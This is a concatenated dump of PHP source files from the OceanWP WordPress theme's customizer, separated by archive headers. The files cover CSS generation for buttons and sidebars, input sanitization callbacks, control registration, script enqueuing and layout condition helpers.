$mobile_tb_bottom_padding ) && '' != $mobile_tb_bottom_padding || isset( $mobile_tb_left_padding ) && '' != $mobile_tb_left_padding ) { $css .= '@media (max-width: 480px){.theme-button,input[type="submit"],button[type="submit"],button, body div.wpforms-container-full .wpforms-form input[type=submit], body div.wpforms-container-full .wpforms-form button[type=submit], body div.wpforms-container-full .wpforms-form .wpforms-page-button{padding:' . oceanwp_spacing_css( $mobile_tb_top_padding, $mobile_tb_right_padding, $mobile_tb_bottom_padding, $mobile_tb_left_padding ) . '}}'; } // Theme buttons border radius. if ( ! empty( $theme_button_border_radius ) && '0' != $theme_button_border_radius ) { $css .= '.theme-button,input[type="submit"],button[type="submit"],button,.button, body div.wpforms-container-full .wpforms-form input[type=submit], body div.wpforms-container-full .wpforms-form button[type=submit], body div.wpforms-container-full .wpforms-form .wpforms-page-button{border-radius:' . $theme_button_border_radius . 'px;}'; } // Theme buttons background color. if ( ! empty( $theme_button_bg ) && '#13aff0' != $theme_button_bg ) { $css .= 'body .theme-button,body input[type="submit"],body button[type="submit"],body button,body .button, body div.wpforms-container-full .wpforms-form input[type=submit], body div.wpforms-container-full .wpforms-form button[type=submit], body div.wpforms-container-full .wpforms-form .wpforms-page-button{background-color:' . $theme_button_bg . ';}'; } // Theme buttons background color. if ( ! empty( $theme_button_hover_bg ) && '#0b7cac' != $theme_button_hover_bg ) { $css .= 'body .theme-button:hover,body input[type="submit"]:hover,body button[type="submit"]:hover,body button:hover,body .button:hover, body div.wpforms-container-full .wpforms-form input[type=submit]:hover, body div.wpforms-container-full .wpforms-form input[type=submit]:active, body div.wpforms-container-full .wpforms-form button[type=submit]:hover, body div.wpforms-container-full .wpforms-form button[type=submit]:active, body div.wpforms-container-full .wpforms-form .wpforms-page-button:hover, body div.wpforms-container-full .wpforms-form .wpforms-page-button:active{background-color:' . $theme_button_hover_bg . ';}'; } // Theme buttons background color. if ( ! empty( $theme_button_color ) && '#ffffff' != $theme_button_color ) { $css .= 'body .theme-button,body input[type="submit"],body button[type="submit"],body button,body .button, body div.wpforms-container-full .wpforms-form input[type=submit], body div.wpforms-container-full .wpforms-form button[type=submit], body div.wpforms-container-full .wpforms-form .wpforms-page-button{color:' . $theme_button_color . ';}'; } // Theme buttons hover color. if ( ! empty( $theme_button_hover_color ) && '#ffffff' != $theme_button_hover_color ) { $css .= 'body .theme-button:hover,body input[type="submit"]:hover,body button[type="submit"]:hover,body button:hover,body .button:hover, body div.wpforms-container-full .wpforms-form input[type=submit]:hover, body div.wpforms-container-full .wpforms-form input[type=submit]:active, body div.wpforms-container-full .wpforms-form button[type=submit]:hover, body div.wpforms-container-full .wpforms-form button[type=submit]:active, body div.wpforms-container-full .wpforms-form .wpforms-page-button:hover, body div.wpforms-container-full .wpforms-form .wpforms-page-button:active{color:' . $theme_button_hover_color . ';}'; } // Blog entries meta icons color. if ( ! empty( $theme_blog_icons_color ) && '#333333' != $theme_blog_icons_color ) { $css .= '#blog-entries ul.meta li i{color:' . $theme_blog_icons_color . ';}'; $css .= '#blog-entries ul.meta li .owp-icon use{stroke:' . $theme_blog_icons_color . ';}'; } // Single post meta icons color. if ( ! empty( $theme_post_icons_color ) && '#333333' != $theme_post_icons_color ) { $css .= '.single-post ul.meta li i{color:' . $theme_post_icons_color . ';}'; $css .= '.single-post ul.meta li .owp-icon use{stroke:' . $theme_post_icons_color . ';}'; } // If page Both Sidebars layout. if ( 'both-sidebars' == $page_layout ) { // Both Sidebars layout page content width. if ( ! empty( $bs_page_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.page.content-both-sidebars .content-area {width: ' . $bs_page_content_width . '%;} body.page.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.page.content-both-sidebars.ssc-style .widget-area {left: -' . $bs_page_content_width . '%;} }'; } // Both Sidebars layout page sidebars width. if ( ! empty( $bs_page_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.page.content-both-sidebars .widget-area{width:' . $bs_page_sidebars_width . '%;} body.page.content-both-sidebars.scs-style .content-area{left:' . $bs_page_sidebars_width . '%;} body.page.content-both-sidebars.ssc-style .content-area{left:' . $bs_page_sidebars_width * 2 . '%;} }'; } } // If search Both Sidebars layout. if ( 'both-sidebars' == $search_layout ) { // Both Sidebars layout search content width. if ( ! empty( $bs_search_content_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.search-results.content-both-sidebars .content-area {width: ' . $bs_search_content_width . '%;} body.search-results.content-both-sidebars.scs-style .widget-area.sidebar-secondary, body.search-results.content-both-sidebars.ssc-style .widget-area {left: -' . $bs_search_content_width . '%;} }'; } // Both Sidebars layout search sidebars width. if ( ! empty( $bs_search_sidebars_width ) ) { $css .= '@media only screen and (min-width: 960px){ body.search-results.content-both-sidebars .widget-area{width:' . $bs_search_sidebars_width . '%;} body.search-results.content-both-sidebars.scs-style .content-area{left:' . $bs_search_sidebars_width . '%;} body.search-results.content-both-sidebars.ssc-style .content-area{left:' . $bs_search_sidebars_width * 2 . '%;} }'; } } // Return CSS. if ( ! empty( $css ) ) { $output .= '/* General CSS */' . $css; } // Return output css. return $output; } } endif; return new OceanWP_General_Customizer(); customizer/sanitization-callbacks.php000064400000007602151551031110014110 0ustar00default ); } /** * Color sanitization callback * * @since 1.2.1 */ function oceanwp_sanitize_color( $color ) { if ( empty( $color ) || is_array( $color ) ) { return ''; } // If string does not start with 'rgba', then treat as hex. // sanitize the hex color and finally convert hex to rgba if ( false === strpos( $color, 'rgba' ) ) { return sanitize_hex_color( $color ); } // By now we know the string is formatted as an rgba color so we need to further sanitize it. $color = str_replace( ' ', '', $color ); sscanf( $color, 'rgba(%d,%d,%d,%f)', $red, $green, $blue, $alpha ); return 'rgba('.$red.','.$green.','.$blue.','.$alpha.')'; } /** * Select choices sanitization callback * * @since 1.2.1 */ function oceanwp_sanitize_multi_choices( $input, $setting ) { // Get list of choices from the control associated with the setting. $choices = $setting->manager->get_control( $setting->id )->choices; $input_keys = $input; foreach ( $input_keys as $key => $value ) { if ( ! array_key_exists( $value, $choices ) ) { unset( $input[ $key ] ); } } // If the input is a valid key, return it; // otherwise, return the default. return ( is_array( $input ) ? $input : $setting->default ); } /** * Image sanitization callback * * @since 1.2.1 */ function oceanwp_sanitize_image( $image, $setting ) { /* * Array of valid image file types. * * The array includes image mime types that are included in wp_get_mime_types() */ $mimes = array( 'jpg|jpeg|jpe' => 'image/jpeg', 'gif' => 'image/gif', 'png' => 'image/png', 'bmp' => 'image/bmp', 'tif|tiff' => 'image/tiff', 'ico' => 'image/x-icon', 'svg' => 'image/svg+xml' ); // Return an array with file extension and mime_type. $file = wp_check_filetype( $image, $mimes ); // If $image has a valid mime_type, return it; otherwise, return the default. return ( $file['ext'] ? $image : $setting->default ); } /** * Number sanitization callback * * @since 1.2.1 */ function oceanwp_sanitize_number( $val ) { return is_numeric( $val ) ? $val : 0; } /** * Number with blank value sanitization callback * * @since 1.2.1 */ function oceanwp_sanitize_number_blank( $val ) { return is_numeric( $val ) ? $val : ''; } /** * Select sanitization callback * * @since 1.2.1 */ function oceanwp_sanitize_select( $input, $setting ) { // Ensure input is a slug. $input = sanitize_key( $input ); // Get list of choices from the control associated with the setting. $choices = $setting->manager->get_control( $setting->id )->choices; // If the input is a valid key, return it; otherwise, return the default. return ( array_key_exists( $input, $choices ) ? $input : $setting->default ); }customizer/customizer.php000064400000024343151551031110011664 0ustar00register_control_type( 'OceanWP_Customizer_Dimensions_Control' ); $wp_customize->register_control_type( 'OceanWP_Customizer_Dropdown_Pages' ); $wp_customize->register_control_type( 'OceanWP_Customizer_Heading_Control' ); $wp_customize->register_control_type( 'OceanWP_Customizer_Info_Control' ); $wp_customize->register_control_type( 'OceanWP_Customizer_Icon_Select_Control' ); $wp_customize->register_control_type( 'OceanWP_Customizer_Icon_Select_Multi_Control' ); $wp_customize->register_control_type( 'OceanWP_Customize_Multiple_Select_Control' ); $wp_customize->register_control_type( 'OceanWP_Customizer_Slider_Control' ); $wp_customize->register_control_type( 'OceanWP_Customizer_Sortable_Control' ); $wp_customize->register_control_type( 'OceanWP_Customizer_Text_Control' ); $wp_customize->register_control_type( 'OceanWP_Customizer_Textarea_Control' ); $wp_customize->register_control_type( 'OceanWP_Customizer_Typo_Control' ); $wp_customize->register_control_type( 'OceanWP_Customizer_Typography_Control' ); } /** * Updating the search box light Mode via Ajax request * * @since 1.0.0 */ public function update_search_box_light_Mode() { $darkMode = esc_attr( $_REQUEST['darkMode'] ); update_option( 'oceanCustomizerSearchdarkMode', $darkMode ); wp_send_json_success(); } /** * Adds customizer helpers * * @since 1.0.0 */ public function controls_helpers() { require_once( OCEANWP_INC_DIR .'customizer/customizer-helpers.php' ); require_once( OCEANWP_INC_DIR .'customizer/sanitization-callbacks.php' ); } /** * Core modules * * @since 1.0.0 */ public static function customize_register( $wp_customize ) { // Tweak default controls $wp_customize->get_setting( 'custom_logo' )->transport = 'refresh'; $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; // Move custom logo setting $wp_customize->get_control( 'custom_logo' )->section = 'ocean_header_logo'; if ( ! function_exists( 'owp_fs' ) ) { // Add our upsell section if ( true != apply_filters( 'oceanwp_licence_tab_enable', false ) ) { // Get link $url = 'https://oceanwp.org/core-extensions-bundle/'; // If affiliate ref $ref_url = ''; $aff_ref = apply_filters( 'ocean_affiliate_ref', $ref_url ); // Add & is has referal link if ( $aff_ref ) { $if_ref = '&'; } else { $if_ref = '?'; } // Add source $utm = $if_ref . 'utm_source=customizer&utm_campaign=bundle&utm_medium=wp-dash'; $wp_customize->add_section( new OceanWP_Upsell_Section( $wp_customize, 'oceanwp_upsell_section', array( 'title' => esc_html__( 'Premium Addons Available', 'oceanwp' ), 'url' => $url . $aff_ref . $utm, 'priority' => 0, 'backgroundcolor' => '#5277fe', 'textcolor' => '#fff', ) ) ); } } } /** * Adds customizer options * * @since 1.0.0 */ public function register_options() { // Var $dir = OCEANWP_INC_DIR .'customizer/settings/'; // Customizer files array $files = array( 'typography', 'general', 'blog', 'header', 'topbar', 'footer-widgets', 'footer-bottom', 'sidebar', ); foreach ( $files as $key ) { $setting = str_replace( '-', '_', $key ); // If Ocean Extra is activated if ( OCEAN_EXTRA_ACTIVE && class_exists( 'Ocean_Extra_Theme_Panel' ) ) { if ( Ocean_Extra_Theme_Panel::get_setting( 'oe_'. $setting .'_panel' ) ) { require_once( $dir . $key .'.php' ); } } else { require_once( $dir . $key .'.php' ); } } // If WooCommerce is activated. if ( OCEANWP_WOOCOMMERCE_ACTIVE ) { require_once( $dir .'woocommerce.php' ); } // Easy Digital Downloads Settings. if ( OCEANWP_EDD_ACTIVE ) { require_once( $dir .'edd.php' ); } // If LifterLMS is activated. if ( OCEANWP_LIFTERLMS_ACTIVE ) { require_once( $dir .'lifterlms.php' ); } // If LearnDash is activated. if ( OCEANWP_LEARNDASH_ACTIVE ) { require_once( $dir .'learndash.php' ); } } /** * Loads Css files for customizer Panel * * @since 1.0.0 */ public function customize_panel_init() { $settings = wp_parse_args( get_option( 'oe_panels_settings', [] ) ); if ( isset( $settings['customizer-search'] ) && (bool) $settings['customizer-search'] === true ) { wp_enqueue_script( 'oceanwp-customize-search-js', OCEANWP_INC_DIR_URI . 'customizer/assets/js/customize-search.js', array( 'lodash', 'wp-i18n', 'wp-util' ) ); wp_enqueue_style( 'oceanwp-customize-search', OCEANWP_INC_DIR_URI . 'customizer/assets/js/customize-search.css' ); wp_localize_script( 'oceanwp-customize-search-js', 'oceanCustomizerSearchOptions', [ 'darkMode' => get_option( 'oceanCustomizerSearchdarkMode', false ) ] ); } wp_enqueue_script( 'oceanwp-customize-js', OCEANWP_INC_DIR_URI . 'customizer/assets/js/customize.js', array( 'jquery' ) ); wp_enqueue_style( 'oceanwp-customize-preview', OCEANWP_INC_DIR_URI . 'customizer/assets/css/customize-preview.min.css'); } /** * Loads js files for customizer preview * * @since 1.0.0 */ public function customize_preview_init() { wp_enqueue_script( 'oceanwp-customize-preview', OCEANWP_INC_DIR_URI . 'customizer/assets/js/customize-preview.min.js', array( 'customize-preview' ), OCEANWP_THEME_VERSION, true ); // If WooCommerce is activated. if ( OCEANWP_WOOCOMMERCE_ACTIVE ) { wp_enqueue_script( 'oceanwp-woo-customize-preview', OCEANWP_INC_DIR_URI . 'customizer/assets/js/woo-customize-preview.min.js', array( 'customize-preview' ), OCEANWP_THEME_VERSION, true ); } // Easy Digital Downloads Settings. if ( OCEANWP_EDD_ACTIVE ) { wp_enqueue_script( 'oceanwp-edd-customize-preview', OCEANWP_INC_DIR_URI . 'customizer/assets/js/edd-customize-preview.min.js', array( 'customize-preview' ), OCEANWP_THEME_VERSION, true ); } // If LifterLMS is activated. if ( OCEANWP_LIFTERLMS_ACTIVE ) { wp_enqueue_script( 'oceanwp-llms-customize-preview', OCEANWP_INC_DIR_URI . 'customizer/assets/js/llms-customize-preview.min.js', array( 'customize-preview' ), OCEANWP_THEME_VERSION, true ); } // If LearnDash is activated. if ( OCEANWP_LEARNDASH_ACTIVE ) { wp_enqueue_script( 'oceanwp-ld-customize-preview', OCEANWP_INC_DIR_URI . 'customizer/assets/js/ld-customize-preview.min.js', array( 'customize-preview' ), OCEANWP_THEME_VERSION, true ); } } /** * Load scripts for customizer * * @since 1.0.0 */ public function custom_customize_enqueue() { wp_enqueue_style( 'font-awesome', OCEANWP_THEME_URI .'/assets/fonts/fontawesome/css/all.min.css', false, '5.11.2' ); wp_enqueue_style( 'simple-line-icons', OCEANWP_INC_DIR_URI .'customizer/assets/css/customizer-simple-line-icons.min.css', false, '2.4.0' ); wp_enqueue_style( 'oceanwp-general', OCEANWP_INC_DIR_URI . 'customizer/assets/min/css/general.min.css' ); wp_enqueue_script( 'oceanwp-general', OCEANWP_INC_DIR_URI . 'customizer/assets/min/js/general.min.js', array( 'jquery', 'customize-base' ), false, true ); if ( is_rtl() ) { wp_enqueue_style( 'oceanwp-controls-rtl', OCEANWP_INC_DIR_URI . 'customizer/assets/min/css/rtl.min.css' ); } } } endif; return new OceanWP_Customizer(); customizer/customizer-helpers.php000064400000054671151551031110013333 0ustar00 [ 'name' => 'right-sidebar', 'image' => OCEANWP_INC_DIR_URI . 'customizer/assets/img/rs.png' ], 'left-sidebar' => [ 'name' => 'left-sidebar', 'image' => OCEANWP_INC_DIR_URI . 'customizer/assets/img/ls.png' ], 'full-width' => [ 'name' => 'full-width', 'image' => OCEANWP_INC_DIR_URI . 'customizer/assets/img/fw.png' ], 'full-screen' => [ 'name' => 'full-screen', 'image' => OCEANWP_INC_DIR_URI . 'customizer/assets/img/fs.png' ], 'both-sidebars' => [ 'name' => 'both-sidebars', 'image' => OCEANWP_INC_DIR_URI . 'customizer/assets/img/bs.png' ], ); return $layouts; } function oceanwp_customizer_helpers( $return = NULL ) { // Return library templates array if ( 'library' == $return ) { $templates = array( '— '. esc_html__( 'Select', 'oceanwp' ) .' —' ); $get_templates = get_posts( array( 'post_type' => 'oceanwp_library', 'numberposts' => -1, 'post_status' => 'publish' ) ); if ( ! empty ( $get_templates ) ) { foreach ( $get_templates as $template ) { $templates[ $template->ID ] = $template->post_title; } } return $templates; } } function oceanwp_cac_has_boxed_layout() { if ( 'boxed' == get_theme_mod( 'ocean_main_layout_style', 'wide' ) ) { return true; } else { return false; } } function oceanwp_cac_has_separate_layout() { if ( 'separate' == get_theme_mod( 'ocean_main_layout_style', 'wide' ) ) { return true; } else { return false; } } function oceanwp_cac_has_boxed_or_separate_layout() { if ( 'boxed' == get_theme_mod( 'ocean_main_layout_style', 'wide' ) || 'separate' == get_theme_mod( 'ocean_main_layout_style', 'wide' ) ) { return true; } else { return false; } } function oceanwp_cac_hasnt_boxed_layout() { if ( 'wide' == get_theme_mod( 'ocean_main_layout_style', 'wide' ) || 'separate' == get_theme_mod( 'ocean_main_layout_style', 'wide' ) ) { return true; } else { return false; } } function oceanwp_cac_has_page_single_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_page_single_layout', 'right-sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_page_single_rl_layout() { $layout = get_theme_mod( 'ocean_page_single_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } function oceanwp_cac_has_search_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_search_layout', 'right-sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_search_rl_layout() { $layout = get_theme_mod( 'ocean_search_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } function oceanwp_cac_has_page_header() { if ( 'hide-all-devices' != get_theme_mod( 'ocean_page_header_visibility' ) ) { return true; } else { return false; } } function oceanwp_cac_has_breadcrumbs() { if ( function_exists( 'yoast_breadcrumb' ) ) { return true; } else { return get_theme_mod( 'ocean_breadcrumbs', true ); } } function oceanwp_cac_enabled_not_yoast() { if ( function_exists( 'yoast_breadcrumb' ) ) { return false; } else { return oceanwp_cac_has_breadcrumbs(); } } /*-------------------------------------------------------------------------------*/ /* [ Background ] /*-------------------------------------------------------------------------------*/ function oceanwp_cac_has_background_image() { if ( '' != get_theme_mod( 'ocean_background_image' ) ) { return true; } else { return false; } } /*-------------------------------------------------------------------------------*/ /* [ Topbar ] /*-------------------------------------------------------------------------------*/ function oceanwp_cac_has_topbar() { return get_theme_mod( 'ocean_top_bar', true ); } function oceanwp_cac_has_topbar_social() { if ( oceanwp_cac_has_topbar() && get_theme_mod( 'ocean_top_bar_social' ) ) { return true; } else { return false; } } /*-------------------------------------------------------------------------------*/ /* [ Header ] /*-------------------------------------------------------------------------------*/ function oceanwp_cac_has_minimal_or_transparent_header_styles() { if ( 'minimal' == oceanwp_header_style() || 'transparent' == oceanwp_header_style() ) { return true; } else { return false; } } function oceanwp_cac_has_transparent_header_style() { if ( 'transparent' == oceanwp_header_style() ) { return true; } else { return false; } } function oceanwp_cac_has_top_header_style() { if ( 'top' == oceanwp_header_style() ) { return true; } else { return false; } } function oceanwp_cac_has_full_screen_header_style() { if ( 'full_screen' == oceanwp_header_style() ) { return true; } else { return false; } } function oceanwp_cac_has_center_header_style() { if ( 'center' == oceanwp_header_style() ) { return true; } else { return false; } } function oceanwp_cac_has_medium_header_style() { if ( 'medium' == oceanwp_header_style() ) { return true; } else { return false; } } function oceanwp_cac_hasnt_medium_header_style() { if ( 'medium' == oceanwp_header_style() ) { return false; } else { return true; } } function oceanwp_cac_hasnt_medium_or_vertical_header_styles() { if ( 'medium' == oceanwp_header_style() || 'vertical' == oceanwp_header_style() ) { return false; } else { return true; } } function oceanwp_cac_has_vertical_header_style() { if ( 'vertical' == oceanwp_header_style() ) { return true; } else { return false; } } function oceanwp_cac_has_menu_social() { if ( true == get_theme_mod( 'ocean_menu_social', false ) ) { return true; } else { return false; } } function oceanwp_cac_has_menu_social_and_simple_style() { if ( true == get_theme_mod( 'ocean_menu_social', false ) && 'simple' == get_theme_mod( 'ocean_menu_social_style', 'simple' ) ) { return true; } else { return false; } } function oceanwp_cac_has_custom_header() { if ( 'custom' == oceanwp_header_style() ) { return true; } else { return false; } } function oceanwp_cac_hasnt_header_styles() { if ( 'top' == oceanwp_header_style() || 'medium' == oceanwp_header_style() ) { return false; } else { return true; } } function oceanwp_cac_hasnt_medium_custom_header_styles() { if ( 'medium' == oceanwp_header_style() || 'custom' == oceanwp_header_style() ) { return false; } else { return true; } } function oceanwp_cac_mobile_header_position() { if ( 'medium' == oceanwp_header_style() || 'vertical' == oceanwp_header_style() || 'custom' == oceanwp_header_style() ) { return false; } else { return true; } } /*-------------------------------------------------------------------------------*/ /* [ Logo ] /*-------------------------------------------------------------------------------*/ function oceanwp_cac_has_custom_logo() { if ( has_custom_logo() ) { return true; } else { return false; } } function oceanwp_cac_hasnt_custom_logo() { if ( has_custom_logo() ) { return false; } else { return true; } } function oceanwp_cac_has_responsive_logo() { if ( '' != get_theme_mod( 'ocean_responsive_logo' ) ) { return true; } else { return false; } } /*-------------------------------------------------------------------------------*/ /* [ Menu ] /*-------------------------------------------------------------------------------*/ function oceanwp_cac_hasnt_menu_search_disabled() { if ( 'disabled' == get_theme_mod( 'ocean_menu_search_style', 'drop_down' ) ) { return false; } else { return true; } } function oceanwp_cac_has_menu_search_dropdown() { if ( 'drop_down' == get_theme_mod( 'ocean_menu_search_style', 'drop_down' ) ) { return true; } else { return false; } } function oceanwp_cac_has_menu_search_overlay() { if ( 'overlay' == get_theme_mod( 'ocean_menu_search_style', 'drop_down' ) ) { return true; } else { return false; } } function oceanwp_cac_has_menu_dropdown_top_border() { return get_theme_mod( 'ocean_menu_dropdown_top_border', false ); } function oceanwp_cac_has_menu_links_effect_blue() { if ( 'one' == get_theme_mod( 'ocean_menu_links_effect', 'no' ) || 'three' == get_theme_mod( 'ocean_menu_links_effect', 'no' ) || 'four' == get_theme_mod( 'ocean_menu_links_effect', 'no' ) || 'five' == get_theme_mod( 'ocean_menu_links_effect', 'no' ) || 'seven' == get_theme_mod( 'ocean_menu_links_effect', 'no' ) || 'nine' == get_theme_mod( 'ocean_menu_links_effect', 'no' ) ) { return true; } else { return false; } } function oceanwp_cac_has_menu_links_effect_dark() { if ( 'two' == get_theme_mod( 'ocean_menu_links_effect', 'no' ) || 'six' == get_theme_mod( 'ocean_menu_links_effect', 'no' ) || 'eight' == get_theme_mod( 'ocean_menu_links_effect', 'no' ) || 'ten' == get_theme_mod( 'ocean_menu_links_effect', 'no' ) ) { return true; } else { return false; } } /*-------------------------------------------------------------------------------*/ /* [ Mobile ] /*-------------------------------------------------------------------------------*/ function oceanwp_mobile_menu_cac_has_custom_breakpoint() { if ( 'custom' == get_theme_mod( 'ocean_mobile_menu_breakpoints', '959' ) ) { return true; } else { return false; } } function oceanwp_cac_has_custom_hamburger_btn() { if ( 'default' != get_theme_mod( 'ocean_mobile_menu_open_hamburger', 'default' ) ) { return true; } else { return false; } } function oceanwp_cac_has_sidebar_mobile_menu() { if ( 'sidebar' == get_theme_mod( 'ocean_mobile_menu_style', 'sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_dropdown_mobile_menu() { if ( 'dropdown' == get_theme_mod( 'ocean_mobile_menu_style', 'sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_fullscreen_mobile_menu() { if ( 'fullscreen' == get_theme_mod( 'ocean_mobile_menu_style', 'sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_hasnt_fullscreen_mobile_menu() { if ( 'fullscreen' == get_theme_mod( 'ocean_mobile_menu_style', 'sidebar' ) ) { return false; } else { return true; } } /*-------------------------------------------------------------------------------*/ /* [ Page Header ] /*-------------------------------------------------------------------------------*/ function oceanwp_cac_has_bg_image_page_header() { if ( 'background-image' == get_theme_mod( 'ocean_page_header_style' ) ) { return true; } else { return false; } } function oceanwp_cac_hasnt_bg_image_page_header() { if ( 'background-image' == get_theme_mod( 'ocean_page_header_style' ) ) { return false; } else { return true; } } /*-------------------------------------------------------------------------------*/ /* [ Blog ] /*-------------------------------------------------------------------------------*/ function oceanwp_cac_grid_blog_style() { if ( 'grid-entry' == get_theme_mod( 'ocean_blog_style', 'large-entry' ) ) { return true; } else { return false; } } function oceanwp_cac_blog_supports_equal_heights() { if ( oceanwp_cac_grid_blog_style() && 'masonry' != get_theme_mod( 'ocean_blog_grid_style', 'fit-rows' ) ) { return true; } else { return false; } } function oceanwp_cac_has_blog_single_title_bg_image() { if ( true == get_theme_mod( 'ocean_blog_single_featured_image_title', false ) && 'default' === get_theme_mod( 'oceanwp_single_post_header_style', 'default' ) ) { return true; } else { return false; } } function oceanwp_cac_has_blog_entries_rl_layout() { $layout = get_theme_mod( 'ocean_blog_archives_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } function oceanwp_cac_has_blog_entries_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_blog_archives_layout', 'right-sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_single_post_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_blog_single_layout', 'right-sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_single_post_rl_layout() { $layout = get_theme_mod( 'ocean_blog_single_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } function oceanwp_cac_has_thumbnail_blog_style() { if ( 'thumbnail-entry' == get_theme_mod( 'ocean_blog_style', 'large-entry' ) ) { return true; } else { return false; } } function oceanwp_cac_hasnt_thumbnail_blog_style() { if ( 'thumbnail-entry' == get_theme_mod( 'ocean_blog_style', 'large-entry' ) ) { return false; } else { return true; } } function oceanwp_cac_has_blog_infinite_scroll() { if ( 'infinite_scroll' == get_theme_mod( 'ocean_blog_pagination_style', 'standard' ) ) { return true; } else { return false; } } function oceanwp_cac_has_default_post_header_style() { $return = ( 'default' === get_theme_mod( 'oceanwp_single_post_header_style', 'default' ) ) ? true : false; return $return; } function oceanwp_cac_hasnt_default_post_header_style() { $return = ( 'default' !== get_theme_mod( 'oceanwp_single_post_header_style', 'default' ) ) ? true : false; return $return; } function oceanwp_cac_has_post_header_cover_style() { $return = ( 'sph_style_3' === get_theme_mod( 'oceanwp_single_post_header_style', 'default' ) ) ? true : false; return $return; } function oceanwp_cac_has_post_meta_stylish() { $return = ( 'spm_style_3' === get_theme_mod( 'oceanwp_single_post_header_meta_style', 'default' ) && oceanwp_cac_hasnt_default_post_header_style() ) ? true : false; return $return; } function oceanwp_cac_has_not_cover_default_style() { $return = ( 'sph_style_3' !== get_theme_mod( 'oceanwp_single_post_header_style', 'default' ) && 'default' !== get_theme_mod( 'oceanwp_single_post_header_style', 'default' ) ) ? true : false; return $return; } /*-------------------------------------------------------------------------------*/ /* [ WooCommerce ] /*-------------------------------------------------------------------------------*/ function oceanwp_cac_has_woo_bag_style() { if ( 'yes' == get_theme_mod( 'ocean_woo_menu_bag_style', 'no' ) ) { return true; } else { return false; } } function oceanwp_cac_hasnt_woo_bag_style() { if ( 'yes' == get_theme_mod( 'ocean_woo_menu_bag_style', 'no' ) ) { return false; } else { return true; } } function oceanwp_cac_has_grid_list_buttons() { if ( true == get_theme_mod( 'ocean_woo_grid_list', true ) ) { return true; } else { return false; } } function oceanwp_cac_has_woo_shop_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_woo_shop_layout', 'left-sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_woo_shop_rl_layout() { $layout = get_theme_mod( 'ocean_woo_shop_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } function oceanwp_cac_has_woo_product_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_woo_product_layout', 'left-sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_woo_product_rl_layout() { $layout = get_theme_mod( 'ocean_woo_product_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } function oceanwp_cac_has_woo_infinite_scroll() { if ( 'infinite_scroll' == get_theme_mod( 'ocean_woo_pagination_style', 'standard' ) ) { return true; } else { return false; } } function oceanwp_cac_has_woo_filter_button() { if ( true == get_theme_mod( 'ocean_woo_off_canvas_filter', false ) ) { return true; } else { return false; } } function oceanwp_cac_has_woo_filter_close_button() { if ( true == get_theme_mod( 'ocean_woo_off_canvas_close_button', false ) ) { return true; } else { return false; } } function oceanwp_cac_has_woo_default_products_style() { if ( 'default' == get_theme_mod( 'ocean_woo_products_style', 'default' ) ) { return true; } else { return false; } } function oceanwp_cac_has_woo_hover_products_style() { if ( 'hover' == get_theme_mod( 'ocean_woo_products_style', 'default' ) ) { return true; } else { return false; } } function oceanwp_cac_has_woo_floating_bar() { if ( 'on' == get_theme_mod( 'ocean_woo_display_floating_bar', 'on' ) ) { return true; } else { return false; } } function oceanwp_cac_has_woo_multistep_checkout() { if ( true == get_theme_mod( 'ocean_woo_multi_step_checkout', false ) ) { return true; } else { return false; } } function oceanwp_cac_has_shop_condition() { if ( true === get_theme_mod( 'ocean_shop_conditional', true ) ) { return true; } else { return false; } } function oceanwp_cac_has_single_condition() { if ( true === get_theme_mod( 'ocean_woo_single_conditional', true ) ) { return true; } else { return false; } } function oceanwp_cac_has_shop_links_disabled() { if ( true === get_theme_mod( 'ocean_shop_woo_disable_links', false ) ) { return true; } else { return false; } } /*-------------------------------------------------------------------------------*/ /* [ Easy Digital Downloads ] /*-------------------------------------------------------------------------------*/ function oceanwp_cac_has_edd_bag_style() { if ( 'yes' == get_theme_mod( 'ocean_edd_menu_bag_style', 'no' ) ) { return true; } else { return false; } } function oceanwp_cac_hasnt_edd_bag_style() { if ( 'yes' == get_theme_mod( 'ocean_edd_menu_bag_style', 'no' ) ) { return false; } else { return true; } } function oceanwp_cac_has_edd_archive_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_edd_archive_layout', 'left-sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_edd_archive_rl_layout() { $layout = get_theme_mod( 'ocean_edd_archive_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } function oceanwp_cac_has_edd_download_bs_layout() { if ( 'both-sidebars' == get_theme_mod( 'ocean_edd_download_layout', 'left-sidebar' ) ) { return true; } else { return false; } } function oceanwp_cac_has_edd_download_rl_layout() { $layout = get_theme_mod( 'ocean_edd_download_layout', 'right-sidebar' ); if ( 'right-sidebar' == $layout || 'left-sidebar' == $layout ) { return true; } else { return false; } } /*-------------------------------------------------------------------------------*/ /* [ Footer ] 